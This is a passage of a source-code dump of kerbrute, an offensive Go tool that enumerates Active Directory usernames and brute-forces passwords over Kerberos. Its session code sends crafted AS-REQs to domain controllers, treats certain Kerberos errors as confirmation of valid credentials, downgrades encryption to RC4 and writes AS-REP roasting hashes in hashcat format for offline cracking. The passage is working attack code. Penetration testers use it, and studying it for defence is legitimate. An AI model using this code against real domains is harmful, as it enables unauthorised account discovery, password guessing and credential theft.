h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= 315 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 316 | google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= 317 | google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= 318 | gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= 319 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 320 | gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 321 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= 322 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 323 | gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= 324 | gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= 325 | gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= 326 | gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= 327 | gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 328 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 329 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 330 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10= 331 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 332 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 333 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 334 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 335 | honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 336 | honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 337 | honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= 338 | rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= 339 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "github.com/ropnop/kerbrute/cmd" 5 | "github.com/ropnop/kerbrute/util" 6 | ) 7 | 8 | func main() { 9 | util.PrintBanner() 10 | cmd.Execute() 11 | } 12 | -------------------------------------------------------------------------------- /session/errors.go: -------------------------------------------------------------------------------- 1 | package session 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | func (k KerbruteSession) HandleKerbError(err error) (bool, string) { 9 | eString := err.Error() 10 | 11 | // handle non KRB errors 12 | if strings.Contains(eString, "client does not have a username") { 13 | return true, "Skipping blank username" 14 | } 15 | if strings.Contains(eString, "Networking_Error: AS Exchange Error") { 16 | return false, "NETWORK ERROR - Can't talk to KDC. Aborting..." 17 | } 18 | if strings.Contains(eString, " AS_REP is not valid or client password/keytab incorrect") { 19 | return true, "Got AS-REP (no pre-auth) but couldn't decrypt - bad password" 20 | } 21 | 22 | // handle KRB errors 23 | if strings.Contains(eString, "KDC_ERR_WRONG_REALM") { 24 | return false, "KDC ERROR - Wrong Realm. Try adjusting the domain? Aborting..." 25 | } 26 | if strings.Contains(eString, "KDC_ERR_C_PRINCIPAL_UNKNOWN") { 27 | return true, "User does not exist" 28 | } 29 | if strings.Contains(eString, "KDC_ERR_PREAUTH_FAILED") { 30 | return true, "Invalid password" 31 | } 32 | if strings.Contains(eString, "KDC_ERR_CLIENT_REVOKED") { 33 | if k.SafeMode { 34 | return false, "USER LOCKED OUT and safe mode on! Aborting..." 35 | } 36 | return true, "USER LOCKED OUT" 37 | } 38 | if strings.Contains(eString, " AS_REP is not valid or client password/keytab incorrect") { 39 | return true, "Got AS-REP (no pre-auth) but couldn't decrypt - bad password" 40 | } 41 | if strings.Contains(eString, "KRB_AP_ERR_SKEW Clock skew too great") { 42 | return true, "Clock skew too great" 43 | } 44 | 45 | return false, eString 46 | } 47 | 48 | // TestLoginError returns true for certain KRB Errors that only happen when the password is correct 49 | // The correct credentials we're passed, but the error prevented a successful TGT from being retrieved 50 | func (k KerbruteSession) TestLoginError(err error) (bool, error) { 51 | eString := err.Error() 52 | if strings.Contains(eString, "Password has expired") { 53 | // user's password expired, but it's valid! 54 | return true, fmt.Errorf("User's password has expired") 55 | } 56 | if strings.Contains(eString, "Clock skew too great") { 57 | // clock skew off, but that means password worked since PRE-AUTH was successful 58 | return true, fmt.Errorf("Clock skew is too great") 59 | } 60 | return false, err 61 | } 62 | -------------------------------------------------------------------------------- /session/session.go: -------------------------------------------------------------------------------- 1 | package session 2 | 3 | import ( 4 | "fmt" 5 | "github.com/ropnop/kerbrute/util" 6 | "html/template" 7 | "os" 8 | "strings" 9 | 10 | "github.com/ropnop/gokrb5/v8/iana/errorcode" 11 | 12 | kclient "github.com/ropnop/gokrb5/v8/client" 13 | kconfig "github.com/ropnop/gokrb5/v8/config" 14 | "github.com/ropnop/gokrb5/v8/messages" 15 | ) 16 | 17 | const krb5ConfigTemplateDNS = `[libdefaults] 18 | dns_lookup_kdc = true 19 | default_realm = {{.Realm}} 20 | ` 21 | 22 | const krb5ConfigTemplateKDC = `[libdefaults] 23 | default_realm = {{.Realm}} 24 | [realms] 25 | {{.Realm}} = { 26 | kdc = {{.DomainController}} 27 | admin_server = {{.DomainController}} 28 | } 29 | ` 30 | 31 | type KerbruteSession struct { 32 | Domain string 33 | Realm string 34 | Kdcs map[int]string 35 | ConfigString string 36 | Config *kconfig.Config 37 | Verbose bool 38 | SafeMode bool 39 | HashFile *os.File 40 | Logger *util.Logger 41 | } 42 | 43 | type KerbruteSessionOptions struct { 44 | Domain string 45 | DomainController string 46 | Verbose bool 47 | SafeMode bool 48 | Downgrade bool 49 | HashFilename string 50 | logger *util.Logger 51 | } 52 | 53 | func NewKerbruteSession(options KerbruteSessionOptions) (k KerbruteSession, err error) { 54 | if options.Domain == "" { 55 | return k, fmt.Errorf("domain must not be empty") 56 | } 57 | if options.logger == nil { 58 | logger := util.NewLogger(options.Verbose, "") 59 | options.logger = &logger 60 | } 61 | var hashFile *os.File 62 | if options.HashFilename != "" { 63 | hashFile, err = os.OpenFile(options.HashFilename, os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0644) 64 | if err != nil { 65 | return k, err 66 | } 67 | options.logger.Log.Infof("Saving any captured hashes to %s", hashFile.Name()) 68 | if !options.Downgrade { 69 | options.logger.Log.Warningf("You are capturing AS-REPs, but not downgrading encryption. You probably want to downgrade to arcfour-hmac-md5 (--downgrade) to crack them with a user's password instead of AES keys") 70 | } 71 | } 72 | 73 | realm := strings.ToUpper(options.Domain) 74 | configstring := buildKrb5Template(realm, options.DomainController) 75 | Config, err := kconfig.NewFromString(configstring) 76 | if options.Downgrade { 77 | Config.LibDefaults.DefaultTktEnctypeIDs = []int32{23} // downgrade to arcfour-hmac-md5 for crackable AS-REPs 78 | options.logger.Log.Info("Using downgraded encryption: arcfour-hmac-md5") 79 | } 80 | if err != nil { 81 | panic(err) 82 | } 83 | _, kdcs, err := Config.GetKDCs(realm, false) 84 | if err != nil { 85 | err = fmt.Errorf("Couldn't find any KDCs for realm %s. Please specify a Domain Controller", realm) 86 | } 87 | k = KerbruteSession{ 88 | Domain: options.Domain, 89 | Realm: realm, 90 | Kdcs: kdcs, 91 | ConfigString: configstring, 92 | Config: Config, 93 | Verbose: options.Verbose, 94 | SafeMode: options.SafeMode, 95 | HashFile: hashFile, 96 | Logger: options.logger, 97 | } 98 | return k, err 99 | 100 | } 101 | 102 | func buildKrb5Template(realm, domainController string) string { 103 | data := map[string]interface{}{ 104 | "Realm": realm, 105 | "DomainController": domainController, 106 | } 107 | var kTemplate string 108 | if domainController == "" { 109 | kTemplate = krb5ConfigTemplateDNS 110 | } else { 111 | kTemplate = krb5ConfigTemplateKDC 112 | } 113 | t := template.Must(template.New("krb5ConfigString").Parse(kTemplate)) 114 | builder := &strings.Builder{} 115 | if err := t.Execute(builder, data); err != nil { 116 | panic(err) 117 | } 118 | return builder.String() 119 | } 120 | 121 | func (k KerbruteSession) TestLogin(username, password string) (bool, error) { 122 | Client := kclient.NewWithPassword(username, k.Realm, password, k.Config, kclient.DisablePAFXFAST(true), kclient.AssumePreAuthentication(true)) 123 | defer Client.Destroy() 124 | if ok, err := Client.IsConfigured(); !ok { 125 | return false, err 126 | } 127 | err := Client.Login() 128 | if err == nil { 129 | return true, err 130 | } 131 | success, err := k.TestLoginError(err) 132 | return success, err 133 | } 134 | 135 | func (k KerbruteSession) TestUsername(username string) (bool, error) { 136 | // client here does NOT assume preauthentication (as opposed to the one in TestLogin) 137 | 138 | cl := kclient.NewWithPassword(username, k.Realm, "foobar", k.Config, kclient.DisablePAFXFAST(true)) 139 | 140 | req, err := messages.NewASReqForTGT(cl.Credentials.Domain(), cl.Config, cl.Credentials.CName()) 141 | if err != nil { 142 | fmt.Printf(err.Error()) 143 | } 144 | b, err := req.Marshal() 145 | if err != nil { 146 | return false, err 147 | } 148 | rb, err := cl.SendToKDC(b, k.Realm) 149 | 150 | if err == nil { 151 | // If no error, we actually got an AS REP, meaning user does not have pre-auth required 152 | var ASRep messages.ASRep 153 | err = ASRep.Unmarshal(rb) 154 | if err != nil { 155 | // something went wrong, it's not a valid response 156 | return false, err 157 | } 158 | k.DumpASRepHash(ASRep) 159 | return true, nil 160 | } 161 | e, ok := err.(messages.KRBError) 162 | if !ok { 163 | return false, err 164 | } 165 | switch e.ErrorCode { 166 | case errorcode.KDC_ERR_PREAUTH_REQUIRED: 167 | return true, nil 168 | default: 169 | return false, err 170 | 171 | } 172 | } 173 | 174 | func (k KerbruteSession) DumpASRepHash(asrep messages.ASRep) { 175 | hash, err := util.ASRepToHashcat(asrep) 176 | if err != nil { 177 | k.Logger.Log.Debugf("[!] Got encrypted TGT for %s, but couldn't convert to hash: %s", asrep.CName.PrincipalNameString(), err.Error()) 178 | return 179 | } 180 | k.Logger.Log.Noticef("[+] %s has no pre auth required. Dumping hash to crack offline:\n%s", asrep.CName.PrincipalNameString(), hash) 181 | if k.HashFile != nil { 182 | _, err := k.HashFile.WriteString(fmt.Sprintf("%s\n", hash)) 183 | if err != nil { 184 | k.Logger.Log.Errorf("[!] Error writing hash to file: %s", err.Error()) 185 | } 186 | } 187 | } 188 | -------------------------------------------------------------------------------- /util/banner.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import "fmt" 4 | 5 | func PrintBanner() { 6 | banner := ` 7 | __ __ __ 8 | / /_____ _____/ /_ _______ __/ /____ 9 | / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \ 10 | / ,< / __/ / / /_/ / / / /_/ / /_/ __/ 11 | /_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/ 12 | ` 13 | fmt.Printf("%v\nVersion: %v (%v) - %v - %v\n\n", banner, Version, GitCommit, BuildDate, Author) 14 | } 15 | -------------------------------------------------------------------------------- /util/hash.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "encoding/hex" 5 | "fmt" 6 | "github.com/ropnop/gokrb5/v8/messages" 7 | ) 8 | 9 | func ASRepToHashcat(asrep messages.ASRep) (string, error) { 10 | return fmt.Sprintf("$krb5asrep$%d$%s@%s:%s$%s", 11 | asrep.EncPart.EType, 12 | asrep.CName.PrincipalNameString(), 13 | asrep.CRealm, 14 | hex.EncodeToString(asrep.EncPart.Cipher[:16]), 15 | hex.EncodeToString(asrep.EncPart.Cipher[16:])), nil 16 | } 17 | -------------------------------------------------------------------------------- /util/log.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/op/go-logging" 7 | ) 8 | 9 | type Logger struct { 10 | Log *logging.Logger 11 | } 12 | 13 | func NewLogger(verbose bool, logFileName string) Logger { 14 | log := logging.MustGetLogger("kerbrute") 15 | format := logging.MustStringFormatter( 16 | `%{color}%{time:2006/01/02 15:04:05} > %{message}%{color:reset}`, 17 | ) 18 | formatNoColor := logging.MustStringFormatter( 19 | `%{time:2006/01/02 15:04:05} > %{message}`, 20 | ) 21 | backend := logging.NewLogBackend(os.Stdout, "", 0) 22 | backendFormatter := logging.NewBackendFormatter(backend, format) 23 | 24 | if logFileName != "" { 25 | outputFile, err := os.Create(logFileName) 26 | if err != nil { 27 | panic(err) 28 | } 29 | fileBackend := logging.NewLogBackend(outputFile, "", 0) 30 | fileFormatter := logging.NewBackendFormatter(fileBackend, formatNoColor) 31 | logging.SetBackend(backendFormatter, fileFormatter) 32 | } else { 33 | logging.SetBackend(backendFormatter) 34 | } 35 | 36 | if verbose { 37 | logging.SetLevel(logging.DEBUG, "") 38 | } else { 39 | logging.SetLevel(logging.INFO, "") 40 | } 41 | return Logger{log} 42 | } 43 | -------------------------------------------------------------------------------- /util/username.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "errors" 5 | "strings" 6 | ) 7 | 8 | func FormatUsername(username string) (user string, err error) { 9 | if username == "" { 10 | return "", errors.New("Bad username: blank") 11 | } 12 | parts := strings.Split(username, "@") 13 | if len(parts) > 2 { 14 | return "", errors.New("Bad username: too many @ signs") 15 | } 16 | return parts[0], nil 17 | } 18 | 19 | func FormatComboLine(combo string) (username string, password string, err error) { 20 | parts := strings.SplitN(combo, ":", 2) 21 | if len(parts) == 0 { 22 | err = errors.New("Bad format - missing ':'") 23 | return "", "", err 24 | } 25 | user, err := FormatUsername(parts[0]) 26 | if err != nil { 27 | return "", "", err 28 | } 29 | pass := strings.Join(parts[1:], "") 30 | if pass == "" { 31 | err = errors.New("Password is blank") 32 | return "", "", err 33 | } 34 | return user, pass, err 35 | 36 | } 37 | -------------------------------------------------------------------------------- /util/version.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "runtime" 5 | "time" 6 | ) 7 | 8 | var ( 9 | Version = "dev" 10 | GitCommit = "n/a" 11 | BuildDate = time.Now().Format("01/02/06") 12 | GoVersion = runtime.Version() 13 | Author = "Ronnie Flathers @ropnop" 14 | ) 15 | --------------------------------------------------------------------------------